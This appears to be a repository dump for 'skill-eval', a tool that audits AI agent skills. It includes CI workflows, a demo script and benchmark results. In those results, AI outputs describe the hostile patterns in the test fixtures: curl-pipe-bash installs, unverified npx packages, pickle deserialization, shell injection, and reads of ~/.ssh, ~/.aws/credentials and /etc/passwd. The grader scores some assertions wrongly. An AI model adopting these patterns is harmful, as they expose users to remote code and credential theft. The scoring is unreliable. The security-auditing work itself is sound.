Skill Eval

name: CI

on:
  push:
    branches: [main]
  pull_request:
    branches: [main]

jobs:
  test:
    runs-on: ubuntu-latest
    strategy:
      matrix:
        python-version: ["3.10", "3.12"]

    steps:
      - name: Checkout repository
        uses: actions/checkout@v4

      - name: Set up Python ${{ matrix.python-version }}
        uses: actions/setup-python@v5
        with:
          python-version: ${{ matrix.python-version }}

      - name: Install dependencies
        run: |
          pip install -e ".[dev]"

      - name: Run tests
        run: |
          python -m pytest tests/ -q --tb=short

      - name: Run audit on test fixtures
        run: |
          skill-eval audit tests/fixtures/good-skill
          skill-eval audit tests/fixtures/eval-skill

name: Skill Evaluation

on:
  workflow_call:
    inputs:
      skill_path:
        description: "Path to the skill directory to evaluate"
        required: true
        type: string
      python_version:
        description: "Python version to use"
        required: false
        type: string
        default: "3.12"
      run_functional:
        description: "Run functional evaluation (requires evals/evals.json)"
        required: false
        type: boolean
        default: false
      run_trigger:
        description: "Run trigger evaluation (requires evals/eval_queries.json)"
        required: false
        type: boolean
        default: false
      fail_on_warning:
        description: "Fail the workflow if any audit warnings are found"
        required: false
        type: boolean
        default: false
    outputs:
      passed:
        description: "Whether the skill passed all evaluations"
        value: ${{ jobs.evaluate.outputs.passed }}
      grade:
        description: "Overall letter grade (A-F)"
        value: ${{ jobs.evaluate.outputs.grade }}
      score:
        description: "Overall numeric score (0-100 for audit-only, 0-1 for unified)"
        value: ${{ jobs.evaluate.outputs.score }}

jobs:
  evaluate:
    runs-on: ubuntu-latest
    outputs:
      passed: ${{ steps.result.outputs.passed }}
      grade: ${{ steps.result.outputs.grade }}
      score: ${{ steps.result.outputs.score }}

    steps:
      - name: Checkout repository
        uses: actions/checkout@v4

      - name: Set up Python
        uses: actions/setup-python@v5
        with:
          python-version: ${{ inputs.python_version }}

      - name: Install skill-eval
        run: pip install .

      - name: Run audit
        id: audit
        run: |
          set +e
          if [ "${{ inputs.fail_on_warning }}" = "true" ]; then
            skill-eval audit "${{ inputs.skill_path }}" --format json --fail-on-warning > audit_results.json 2>&1
          else
            skill-eval audit "${{ inputs.skill_path }}" --format json > audit_results.json 2>&1
          fi
          AUDIT_EXIT=$?
          echo "exit_code=$AUDIT_EXIT" >> "$GITHUB_OUTPUT"
          cat audit_results.json

      - name: Run functional evaluation
        id: functional
        if: inputs.run_functional
        run: |
          set +e
          skill-eval functional "${{ inputs.skill_path }}" --format json > functional_results.json 2>&1
          FUNC_EXIT=$?
          echo "exit_code=$FUNC_EXIT" >> "$GITHUB_OUTPUT"
          cat functional_results.json

      - name: Run trigger evaluation
        id: trigger
        if: inputs.run_trigger
        run: |
          set +e
          skill-eval trigger "${{ inputs.skill_path }}" --format json > trigger_results.json 2>&1
          TRIGGER_EXIT=$?
          echo "exit_code=$TRIGGER_EXIT" >> "$GITHUB_OUTPUT"
          cat trigger_results.json

      - name: Determine result
        id: result
        run: |
          AUDIT_EXIT=${{ steps.audit.outputs.exit_code }}

          # Default: audit-only results
          PASSED="true"
          GRADE="A"
          SCORE="100"

          if [ "$AUDIT_EXIT" = "2" ]; then
            PASSED="false"
            GRADE="F"
            SCORE="0"
          elif [ "$AUDIT_EXIT" = "1" ]; then
            if [ "${{ inputs.fail_on_warning }}" = "true" ]; then
              PASSED="false"
            fi
          fi

          # Extract audit score from JSON if available
          if [ -f audit_results.json ]; then
            AUDIT_SCORE=$(python3 -c "
          import json, sys
          try:
              data = json.load(open('audit_results.json'))
              print(data.get('score', 100))
          except Exception:
              print(100)
          " 2>/dev/null || echo "100")
            SCORE="$AUDIT_SCORE"
            GRADE=$(python3 -c "
          s = int('$AUDIT_SCORE')
          print('A' if s >= 90 else 'B' if s >= 80 else 'C' if s >= 70 else 'D' if s >= 60 else 'F')
          " 2>/dev/null || echo "A")
          fi

          # Check functional result
          if [ "${{ inputs.run_functional }}" = "true" ]; then
            FUNC_EXIT="${{ steps.functional.outputs.exit_code }}"
            if [ "$FUNC_EXIT" != "0" ] && [ -n "$FUNC_EXIT" ]; then
              PASSED="false"
            fi
          fi

          # Check trigger result
          if [ "${{ inputs.run_trigger }}" = "true" ]; then
            TRIGGER_EXIT="${{ steps.trigger.outputs.exit_code }}"
            if [ "$TRIGGER_EXIT" != "0" ] && [ -n "$TRIGGER_EXIT" ]; then
              PASSED="false"
            fi
          fi

          echo "passed=$PASSED" >> "$GITHUB_OUTPUT"
          echo "grade=$GRADE" >> "$GITHUB_OUTPUT"
          echo "score=$SCORE" >> "$GITHUB_OUTPUT"
          echo "Result: passed=$PASSED grade=$GRADE score=$SCORE"

      - name: Upload results
        if: always()
        uses: actions/upload-artifact@v4
        with:
          name: skill-eval-results
          path: |
            audit_results.json
            functional_results.json
            trigger_results.json
          if-no-files-found: ignore

__pycache__/
*.pyc
.venv/
*.egg-info/
dist/
build/
.pytest_cache/
tmp/
.clawhub/
_meta.json
uv.lock

#!/usr/bin/env bash
# demo.sh — End-to-end demonstration of all skill-eval commands.
# Runs against built-in test fixtures. No claude CLI dependency.
#
# Usage:
#   bash demo.sh          # from any directory
#   chmod +x demo.sh && ./demo.sh

set -euo pipefail

# ── Color helpers (respect NO_COLOR / pipe detection) ─────────────
if [[ -z "${NO_COLOR:-}" ]] && [[ -t 1 ]]; then
  BOLD="\033[1m"
  CYAN="\033[36m"
  GREEN="\033[32m"
  YELLOW="\033[33m"
  RED="\033[31m"
  RESET="\033[0m"
else
  BOLD="" CYAN="" GREEN="" YELLOW="" RED="" RESET=""
fi

section() {
  echo ""
  echo -e "${BOLD}${CYAN}── $1 ──${RESET}"
  echo ""
}

# ── Directory anchoring ──────────────────────────────────────────
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
GOOD="${SCRIPT_DIR}/tests/fixtures/good-skill"
BAD="${SCRIPT_DIR}/tests/fixtures/bad-skill"
EVAL="${SCRIPT_DIR}/tests/fixtures/eval-skill"

# ── Preflight check ─────────────────────────────────────────────
if ! python3 -c "import skill_eval" 2>/dev/null; then
  echo -e "${RED}Error: skill_eval module not importable.${RESET}"
  echo "Install with:  pip install -e '${SCRIPT_DIR}'"
  exit 1
fi

# ── Cleanup trap ─────────────────────────────────────────────────
# The snapshot command writes evals/ into the good-skill fixture; remove it on exit.
GOOD_EVALS_EXISTED=false
if [[ -d "${GOOD}/evals" ]]; then
  GOOD_EVALS_EXISTED=true
fi
cleanup() {
  if [[ "${GOOD_EVALS_EXISTED}" == "false" ]]; then
    rm -rf "${GOOD}/evals"
  fi
}
trap cleanup EXIT

# ── 1. Audit good-skill ─────────────────────────────────────────
section "1/7  Audit good-skill (expect Score 100, Grade A)"
python3 -m skill_eval.cli audit "${GOOD}"

# ── 2. Audit bad-skill (verbose) ────────────────────────────────
section "2/7  Audit bad-skill --verbose (expect Score 0, Grade F)"
# bad-skill has critical findings → exit 2 under set -e, so allow failure
python3 -m skill_eval.cli audit "${BAD}" --verbose || true

# ── 3. Snapshot good-skill ──────────────────────────────────────
section "3/7  Snapshot good-skill (save baseline)"
python3 -m skill_eval.cli snapshot "${GOOD}" --version demo

# ── 4. Regression check ────────────────────────────────────────
section "4/7  Regression check good-skill (compare against baseline)"
python3 -m skill_eval.cli regression "${GOOD}"

# ── 5. Functional eval (dry-run) ────────────────────────────────
section "5/7  Functional eval --dry-run (show eval cases)"
python3 -m skill_eval.cli functional "${EVAL}" --dry-run

# ── 6. Trigger eval (dry-run) ──────────────────────────────────
section "6/7  Trigger eval --dry-run (show trigger queries)"
python3 -m skill_eval.cli trigger "${EVAL}" --dry-run

# ── 7. Compare (dry-run) ────────────────────────────────────────
section "7/7  Compare --dry-run (eval-skill vs itself)"
python3 -m skill_eval.cli compare "${EVAL}" "${EVAL}" --dry-run

# ── Done ────────────────────────────────────────────────────────
echo ""
echo -e "${GREEN}${BOLD}All 7 demo sections completed successfully.${RESET}"

{
  "skill_name": "skill-eval",
  "skill_path": ".",
  "eval_count": 5,
  "runs_per_eval": 1,
  "metadata": {
    "timestamp": "2026-03-15T08:03:15Z"
  },
  "runs": [
    {
      "eval_id": "audit-good-skill",
      "run_index": 0,
      "with_skill": {
        "eval_id": "audit-good-skill",
        "run_index": 0,
        "assertion_results": [
          {
            "text": "contains '100'",
            "passed": true,
            "evidence": "Substring found: '100'",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "contains 'A'",
            "passed": true,
            "evidence": "Substring found: 'a'",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "does not contain 'CRITICAL'",
            "passed": false,
            "evidence": "Substring found (FAIL): 'critical'",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "does not contain 'FAILED'",
            "passed": true,
            "evidence": "Substring not found (OK): 'failed'",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          }
        ],
        "pass_rate": 0.75,
        "summary": "With skill: 75% assertions passed",
        "execution_metrics": {
          "tool_calls": 0,
          "token_counts": {
            "input_tokens": 158981,
            "output_tokens": 1370,
            "cache_read_input_tokens": 0,
            "cache_creation_input_tokens": 0
          }
        },
        "timing": {
          "elapsed_seconds": 85.11145413597114
        },
        "raw_output": "The audit completed successfully. Here are the results:\n\n- **Score: 100/100**\n- **Grade: A**\n- **Result: PASSED** (no critical findings)\n\nThe breakdown:\n- **CRITICAL findings:** 0\n- **WARNING findings:** 0\n- **INFO findings:** 0\n\nThe `good-skill` lives up to its name \u2014 it's a perfectly clean skill with zero security findings across all three check categories (structure, security, and permissions)."
      },
      "without_skill": {
        "eval_id": "audit-good-skill",
        "run_index": 0,
        "assertion_results": [
          {
            "text": "contains '100'",
            "passed": true,
            "evidence": "Substring found: '100'",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "contains 'A'",
            "passed": true,
            "evidence": "Substring found: 'a'",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "does not contain 'CRITICAL'",
            "passed": false,
            "evidence": "Substring found (FAIL): 'critical'",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "does not contain 'FAILED'",
            "passed": true,
            "evidence": "Substring not found (OK): 'failed'",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          }
        ],
        "pass_rate": 0.75,
        "summary": "Without skill: 75% assertions passed",
        "execution_metrics": {
          "tool_calls": 0,
          "token_counts": {
            "input_tokens": 162883,
            "output_tokens": 1010,
            "cache_read_input_tokens": 0,
            "cache_creation_input_tokens": 0
          }
        },
        "timing": {
          "elapsed_seconds": 27.682263819966465
        },
        "raw_output": "The security audit results for `good-skill`:\n\n- **Score:** 100/100\n- **Grade:** A\n- **Result:** PASSED (no critical findings)\n- **Findings:** 0 critical, 0 warnings, 0 info\n\nThis skill has a perfect security score with no issues detected."
      },
      "delta_pass_rate": 0.0
    },
    {
      "eval_id": "audit-bad-skill",
      "run_index": 0,
      "with_skill": {
        "eval_id": "audit-bad-skill",
        "run_index": 0,
        "assertion_results": [
          {
            "text": "contains 'F'",
            "passed": true,
            "evidence": "Substring found: 'f'",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "contains 'CRITICAL' or contains 'critical'",
            "passed": false,
            "evidence": "Substring not found: \"critical' or contains 'critical\"",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "contains 'SEC-004' or contains 'curl'",
            "passed": false,
            "evidence": "Substring not found: \"sec-004' or contains 'curl\"",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "does not contain 'Grade: A'",
            "passed": true,
            "evidence": "Substring not found (OK): 'grade: a'",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          }
        ],
        "pass_rate": 0.5,
        "summary": "With skill: 50% assertions passed",
        "execution_metrics": {
          "tool_calls": 0,
          "token_counts": {
            "input_tokens": 289973,
            "output_tokens": 2369,
            "cache_read_input_tokens": 0,
            "cache_creation_input_tokens": 0
          }
        },
        "timing": {
          "elapsed_seconds": 82.08968564402312
        },
        "raw_output": "## Audit Results: `insecure-installer` \u2014 Grade F (0/100)\n\nThe skill **failed catastrophically** with **6 critical**, **1 warning**, and **2 info** findings. Here's a summary:\n\n### Critical Findings (6)\n\n| Code | Issue | Location |\n|------|-------|----------|\n| **SEC-004** | `curl \\| bash` \u2014 pipes remote script directly to shell | `SKILL.md:14` |\n| **SEC-004** | `wget \\| sh` \u2014 same supply chain risk pattern | `SKILL.md:17` |\n| **SEC-009** | `npx -y` auto-installs unverified MCP server package | `SKILL.md:20` |\n| **SEC-009** | `npx -y` auto-installs another unknown MCP package | `SKILL.md:21` |\n| **SEC-004** | `curl \\| bash` with f-string interpolation in Python code | `scripts/installer.py:9` |\n| **SEC-006** | `pickle.load()` \u2014 unsafe deserialization that can execute arbitrary code | `scripts/installer.py:18` |\n\n### Warning (1)\n\n| Code | Issue | Location |\n|------|-------|----------|\n| **SEC-003** | `subprocess.run()` with `shell=True` \u2014 allows shell injection | `scripts/installer.py:10` |\n\n### Info (2)\n\n| Code | Issue | Location |\n|------|-------|----------|\n| **STR-017** | Missing shebang line in Python script | `scripts/installer.py:1` |\n| **SEC-003** | General subprocess execution detected | `scripts/installer.py:8` |\n\n### Key Takeaways\n\n1. **Supply chain attacks**: The skill uses `curl | bash` and `wget | sh` patterns in three places \u2014 this downloads and executes arbitrary remote code with no verification, making it trivially exploitable.\n2. **Unsafe deserialization**: `pickle.load()` can execute arbitrary Python code during deserialization. If an attacker modifies the cache file, they achieve code execution. Should use `json` instead.\n3. **Shell injection**: `subprocess.run()` with `shell=True` and an f-string (`f\"curl ... {tool_name}.sh | bash\"`) means a malicious `tool_name` value could inject arbitrary shell commands.\n4. **Unverified MCP packages**: `npx -y` auto-installs and runs packages without any verification \u2014 another supply chain vector.\n\nThis skill s"
      },
      "without_skill": {
        "eval_id": "audit-bad-skill",
        "run_index": 0,
        "assertion_results": [
          {
            "text": "contains 'F'",
            "passed": true,
            "evidence": "Substring found: 'f'",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "contains 'CRITICAL' or contains 'critical'",
            "passed": false,
            "evidence": "Substring not found: \"critical' or contains 'critical\"",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "contains 'SEC-004' or contains 'curl'",
            "passed": false,
            "evidence": "Substring not found: \"sec-004' or contains 'curl\"",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "does not contain 'Grade: A'",
            "passed": true,
            "evidence": "Substring not found (OK): 'grade: a'",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          }
        ],
        "pass_rate": 0.5,
        "summary": "Without skill: 50% assertions passed",
        "execution_metrics": {
          "tool_calls": 0,
          "token_counts": {
            "input_tokens": 122692,
            "output_tokens": 1357,
            "cache_read_input_tokens": 0,
            "cache_creation_input_tokens": 0
          }
        },
        "timing": {
          "elapsed_seconds": 61.62551840394735
        },
        "raw_output": "## Security Audit Results: `insecure-installer`\n\n**Score: 0/100 (Grade: F)** \u2014 6 critical findings, 1 warning, 2 informational.\n\n### Critical Findings (6)\n\n| Code | Issue | Location | Description |\n|------|-------|----------|-------------|\n| **SEC-004** | `curl \\| sh` | `SKILL.md:14` | Pipes `curl` output directly to `bash` \u2014 supply chain risk |\n| **SEC-004** | `wget \\| sh` | `SKILL.md:17` | Pipes `wget` output directly to `sh` \u2014 supply chain risk |\n| **SEC-009** | `npx -y` external package | `SKILL.md:20` | Auto-installs and runs `@example/mcp-server-tools` without verification |\n| **SEC-009** | `npx -y` external package | `SKILL.md:21` | Auto-installs and runs `some-unknown-mcp-package` without verification |\n| **SEC-004** | `curl \\| sh` in Python | `installer.py:9` | `install_tool()` dynamically constructs a curl-pipe-bash command with user-controlled `tool_name` |\n| **SEC-006** | Unsafe deserialization | `installer.py:18` | `pickle.load()` can execute arbitrary code when loading a tampered cache file |\n\n### Warning (1)\n\n| Code | Issue | Location | Description |\n|------|-------|----------|-------------|\n| **SEC-003** | `shell=True` | `installer.py:10` | `subprocess.run()` with `shell=True` enables shell injection, especially since `tool_name` is interpolated into the command string |\n\n### Informational (2)\n\n- **STR-017**: `installer.py` is missing a shebang line (`#!/usr/bin/env python3`)\n- **SEC-003**: General subprocess usage detected in `installer.py:8`\n\n### Summary of Risks\n\n1. **Supply chain attacks (SEC-004)**: Three instances of piping remote scripts directly into a shell. An attacker who compromises the URL serves malicious code to all users.\n2. **MCP server supply chain (SEC-009)**: Two `npx -y` calls auto-install and execute unverified npm packages that could intercept agent communications or exfiltrate data.\n3. **Arbitrary code execution via pickle (SEC-006)**: `pickle.load()` deserializes arbitrary Python objects \u2014 a tampered `cache.pkl` file can run "
      },
      "delta_pass_rate": 0.0
    },
    {
      "eval_id": "audit-permission-issues",
      "run_index": 0,
      "with_skill": {
        "eval_id": "audit-permission-issues",
        "run_index": 0,
        "assertion_results": [
          {
            "text": "contains 'PERM' or contains 'permission'",
            "passed": false,
            "evidence": "Substring not found: \"perm' or contains 'permission\"",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "contains 'Bash' or contains 'bash'",
            "passed": false,
            "evidence": "Substring not found: \"bash' or contains 'bash\"",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "contains 'sudo' or contains 'ssh'",
            "passed": false,
            "evidence": "Substring not found: \"sudo' or contains 'ssh\"",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          }
        ],
        "pass_rate": 0.0,
        "summary": "With skill: 0% assertions passed",
        "execution_metrics": {
          "tool_calls": 0,
          "token_counts": {
            "input_tokens": 183425,
            "output_tokens": 1872,
            "cache_read_input_tokens": 0,
            "cache_creation_input_tokens": 0
          }
        },
        "timing": {
          "elapsed_seconds": 97.34625251498073
        },
        "raw_output": "Here are the results of the `skill-eval audit` on the **over-permissioned** skill:\n\n## Score: 58/100 \u2014 Grade: F\n\nThe audit found **4 warnings** and **1 info-level finding**, all in the permissions category:\n\n### Problems Found\n\n1. **[PERM-001] Unrestricted Bash/Shell access** (WARNING)\n   - The skill declares `Bash(*)` in `allowed-tools`, granting it the ability to execute **arbitrary system commands**. A file organizer should only need scoped commands like `Bash(mv:*) Bash(find:*)`, not a full shell.\n\n2. **[PERM-004] References root/sudo access** (WARNING)\n   - Line 30 of SKILL.md uses `sudo find /home -type f -exec ...`, instructing the agent to run commands with **root privileges**. A file organizer has no business running as root.\n\n3. **[PERM-004] References sensitive directory access \u2014 `~/.ssh/`** (WARNING)\n   - Line 38 tells the agent to read `~/.ssh/known_hosts`. There is no legitimate reason for a file organizer to access SSH configuration.\n\n4. **[PERM-004] References sensitive directory access \u2014 `~/.aws/`** (WARNING)\n   - Line 39 tells the agent to access `~/.aws/credentials` for \"S3 backup targets.\" This exposes AWS secrets to a skill that should only be sorting local files.\n\n5. **[PERM-005] References absolute system path `/etc/passwd`** (INFO)\n   - Line 40 reads `/etc/passwd` for \"user home directory detection.\" Skills should operate within the workspace, not read system files.\n\n### Additional Observations (beyond what the audit flagged)\n\n- The `scripts/organize.sh` also uses `sudo mv` on every operation, reinforcing the unnecessary privilege escalation.\n- The `allowed-tools` list includes `delete_file` and `execute_command`, which are overkill for a file sorting utility.\n- The skill's description says it \"sorts files into directories based on type\" \u2014 none of the sensitive directory access (`~/.ssh`, `~/.aws`, `/etc/passwd`) is needed for that purpose.\n\n### Summary\n\nThis skill is a textbook example of **violating the principle of least privilege**. It re"
      },
      "without_skill": {
        "eval_id": "audit-permission-issues",
        "run_index": 0,
        "assertion_results": [
          {
            "text": "contains 'PERM' or contains 'permission'",
            "passed": false,
            "evidence": "Substring not found: \"perm' or contains 'permission\"",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "contains 'Bash' or contains 'bash'",
            "passed": false,
            "evidence": "Substring not found: \"bash' or contains 'bash\"",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "contains 'sudo' or contains 'ssh'",
            "passed": false,
            "evidence": "Substring not found: \"sudo' or contains 'ssh\"",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          }
        ],
        "pass_rate": 0.0,
        "summary": "Without skill: 0% assertions passed",
        "execution_metrics": {
          "tool_calls": 0,
          "token_counts": {
            "input_tokens": 172383,
            "output_tokens": 1679,
            "cache_read_input_tokens": 0,
            "cache_creation_input_tokens": 0
          }
        },
        "timing": {
          "elapsed_seconds": 72.26180773111992
        },
        "raw_output": "Here's the full security audit of the `over-permissioned` skill using the skill-eval CLI.\n\n## Audit Results: Score 58/100 (Grade: F)\n\nThe skill-eval audit found **4 warnings** and **1 info** \u2014 all in the **permissions** category. Here are the specific problems:\n\n### 1. **[PERM-001] Unrestricted Bash/Shell access** (Warning)\nThe skill declares `Bash(*)` in its `allowed-tools`, granting it the ability to execute **any arbitrary system command**. This is a wildcard that should be scoped to only the specific commands the skill needs (e.g., `Bash(mv:*) Bash(find:*)`).\n\n### 2. **[PERM-004] Requires sudo/root privileges** (Warning)\nLine 30 runs `sudo find /home -type f -exec scripts/organize.sh {} \\;`, and the `organize.sh` script itself uses `sudo mv` on every operation (lines 8, 11, 14, 17). A file organizer has no legitimate need for root privileges \u2014 this is a classic over-privileging problem.\n\n### 3. **[PERM-004] Accesses sensitive directories** (2 Warnings)\nThe skill claims it needs to read:\n- **`~/.ssh/known_hosts`** (line 38) \u2014 SSH host keys have nothing to do with file organization\n- **`~/.aws/credentials`** (line 39) \u2014 AWS secret keys are extremely sensitive; claimed purpose (\"S3 backup targets\") is far beyond a file organizer's scope\n\n### 4. **[PERM-005] References absolute system paths** (Info)\n- **`/etc/passwd`** (line 40) \u2014 Reading the system password file for \"user home directory detection\" is unnecessary when the skill should operate within the user's workspace.\n\n### Summary of Problems\n\nThis skill is a textbook example of **over-permissioning**:\n\n| Issue | What it requests | What it actually needs |\n|-------|-----------------|----------------------|\n| Shell access | `Bash(*)` (unrestricted) | Scoped to `mv`, `find`, `mkdir` at most |\n| Privilege level | `sudo` (root) | Normal user permissions |\n| File access | `~/.ssh/`, `~/.aws/`, `/etc/passwd` | Only the target directory being organized |\n| Tool count | 10 tools including `execute_command`, `delete_file`"
      },
      "delta_pass_rate": 0.0
    },
    {
      "eval_id": "compare-good-vs-bad",
      "run_index": 0,
      "with_skill": {
        "eval_id": "compare-good-vs-bad",
        "run_index": 0,
        "assertion_results": [
          {
            "text": "contains '100' or contains 'Grade: A' or contains 'Grade A'",
            "passed": false,
            "evidence": "Substring not found: \"100' or contains 'grade: a' or contains 'grade a\"",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "contains '0' or contains 'Grade: F' or contains 'Grade F'",
            "passed": false,
            "evidence": "Substring not found: \"0' or contains 'grade: f' or contains 'grade f\"",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "contains 'good-skill'",
            "passed": true,
            "evidence": "Substring found: 'good-skill'",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "contains 'insecure-installer'",
            "passed": true,
            "evidence": "Substring found: 'insecure-installer'",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          }
        ],
        "pass_rate": 0.5,
        "summary": "With skill: 50% assertions passed",
        "execution_metrics": {
          "tool_calls": 0,
          "token_counts": {
            "input_tokens": 393654,
            "output_tokens": 3500,
            "cache_read_input_tokens": 0,
            "cache_creation_input_tokens": 0
          }
        },
        "timing": {
          "elapsed_seconds": 117.88085328205489
        },
        "raw_output": "## Audit Comparison: `good-skill` vs `insecure-installer`\n\n### Score Summary\n\n| | `good-skill` | `insecure-installer` |\n|---|---|---|\n| **Score** | 100/100 | 0/100 |\n| **Grade** | **A** | **F** |\n| **Critical** | 0 | 6 |\n| **Warning** | 0 | 1 |\n| **Info** | 0 | 2 |\n| **Result** | PASSED | FAILED |\n\n### `good-skill` is dramatically safer. Here's why:\n\n**`good-skill`** is a clean, well-structured skill with zero findings:\n- Proper SKILL.md frontmatter (name, description, license, metadata)\n- Scripts use only safe standard library modules (`sys`, `json`, `pathlib`)\n- No external network calls, no shell execution, no unsafe deserialization\n\n**`insecure-installer`** has **6 critical vulnerabilities** across two major attack categories:\n\n#### 1. Supply Chain Attacks (4 critical findings)\n- **`curl | bash` and `wget | sh` patterns** (SEC-004) \u2014 Piping remote scripts directly into a shell is extremely dangerous. An attacker who compromises the remote server (or performs a MITM attack) can execute arbitrary code on the user's machine. Found in both `SKILL.md` (lines 14, 17) and `scripts/installer.py` (line 9).\n- **`npx -y` with unknown packages** (SEC-009) \u2014 The `-y` flag auto-installs and runs packages without confirmation. Two unknown MCP server packages are installed this way, creating a supply chain attack vector.\n\n#### 2. Code Execution Vulnerabilities (2 critical + 1 warning)\n- **`pickle.load()` deserialization** (SEC-006, critical) \u2014 Python's pickle module can execute arbitrary code during deserialization. A malicious `.pkl` cache file could compromise the system.\n- **`subprocess.run()` with `shell=True`** (SEC-003, warning) \u2014 Combined with an f-string containing user input (`tool_name`), this is a shell injection vulnerability.\n\n### Bottom Line\n\n`good-skill` follows security best practices with a perfect score. `insecure-installer` is a textbook example of dangerous patterns \u2014 remote code execution via curl-pipe-shell, unsafe deserialization, shell injection, and unv"
      },
      "without_skill": {
        "eval_id": "compare-good-vs-bad",
        "run_index": 0,
        "assertion_results": [
          {
            "text": "contains '100' or contains 'Grade: A' or contains 'Grade A'",
            "passed": false,
            "evidence": "Substring not found: \"100' or contains 'grade: a' or contains 'grade a\"",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "contains '0' or contains 'Grade: F' or contains 'Grade F'",
            "passed": false,
            "evidence": "Substring not found: \"0' or contains 'grade: f' or contains 'grade f\"",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "contains 'good-skill'",
            "passed": true,
            "evidence": "Substring found: 'good-skill'",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "contains 'insecure-installer'",
            "passed": true,
            "evidence": "Substring found: 'insecure-installer'",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          }
        ],
        "pass_rate": 0.5,
        "summary": "Without skill: 50% assertions passed",
        "execution_metrics": {
          "tool_calls": 0,
          "token_counts": {
            "input_tokens": 122159,
            "output_tokens": 1611,
            "cache_read_input_tokens": 0,
            "cache_creation_input_tokens": 0
          }
        },
        "timing": {
          "elapsed_seconds": 46.96958730905317
        },
        "raw_output": "## Audit Comparison\n\n### `good-skill` \u2014 Score: **100/100 (Grade: A)** \u2014 PASSED\n\n| Severity | Count |\n|----------|-------|\n| Critical | 0 |\n| Warning | 0 |\n| Info | 0 |\n\nZero findings. Clean bill of health.\n\n---\n\n### `insecure-installer` \u2014 Score: **0/100 (Grade: F)** \u2014 FAILED\n\n| Severity | Count |\n|----------|-------|\n| Critical | 6 |\n| Warning | 1 |\n| Info | 2 |\n\nThe 6 critical findings break down into three categories:\n\n1. **`curl | sh` / `wget | sh` pipe-to-shell patterns (SEC-004)** \u2014 3 findings\n   - `SKILL.md:14` \u2014 `curl -fsSL ... | bash`\n   - `SKILL.md:17` \u2014 `wget -qO- ... | sh`\n   - `scripts/installer.py:9` \u2014 `curl ... | bash` in a subprocess call\n   \n   These download and execute arbitrary remote code at runtime. If the remote URL is compromised, every user gets malicious code.\n\n2. **Unvetted MCP server installs via `npx -y` (SEC-009)** \u2014 2 findings\n   - `SKILL.md:20` \u2014 `npx -y @example/mcp-server-tools`\n   - `SKILL.md:21` \u2014 `npx -y some-unknown-mcp-package`\n   \n   `npx -y` auto-installs and runs packages without confirmation. A malicious MCP server can intercept agent communications or exfiltrate data.\n\n3. **Unsafe deserialization with `pickle.load` (SEC-006)** \u2014 1 finding\n   - `scripts/installer.py:18` \u2014 `pickle.load(f)`\n   \n   Pickle deserialization executes arbitrary Python code embedded in the data. A tampered `.pkl` file becomes a code execution vector.\n\nAdditionally, there's a **warning** for `shell=True` in `subprocess.run` (SEC-003), which enables shell injection attacks.\n\n---\n\n### Verdict: `good-skill` is dramatically safer\n\n`good-skill` scores a perfect 100/100 because it uses safe standard library operations (`pathlib`, `json`) with no network calls, no shell execution, and no deserialization of untrusted data.\n\n`insecure-installer` scores 0/100 because it combines multiple high-risk patterns \u2014 **supply chain attacks** (pipe-to-shell, unvetted npx packages), **arbitrary code execution** (pickle deserialization), and **shell injection** (subprocess"
      },
      "delta_pass_rate": 0.0
    },
    {
      "eval_id": "init-scaffold",
      "run_index": 0,
      "with_skill": {
        "eval_id": "init-scaffold",
        "run_index": 0,
        "assertion_results": [
          {
            "text": "contains 'evals.json' or contains 'eval'",
            "passed": false,
            "evidence": "Substring not found: \"evals.json' or contains 'eval\"",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          },
          {
            "text": "contains 'template' or contains 'generated' or contains 'created' or contains 'scaffold'",
            "passed": false,
            "evidence": "Substring not found: \"template' or contains 'generated' or contains 'created' or contains 'scaffold\"",
            "method": "deterministic",
            "confidence": 1.0,
            "uncertain": false
          }
        ],
        "pass_rate": 0.0,
        "summary": "With skill: 0% assertions passed",
        "execution_metrics": {
          "tool_calls": 0,
          "token_counts": {
            "input_tokens": 100832,
            "output_tokens": 1439,
            "cache_read_input_tokens": 0,
            "cache_creation_input_tokens": 0
          }
        },
        "timing": {
          "elapsed_seconds": 74.95661875396036
        },
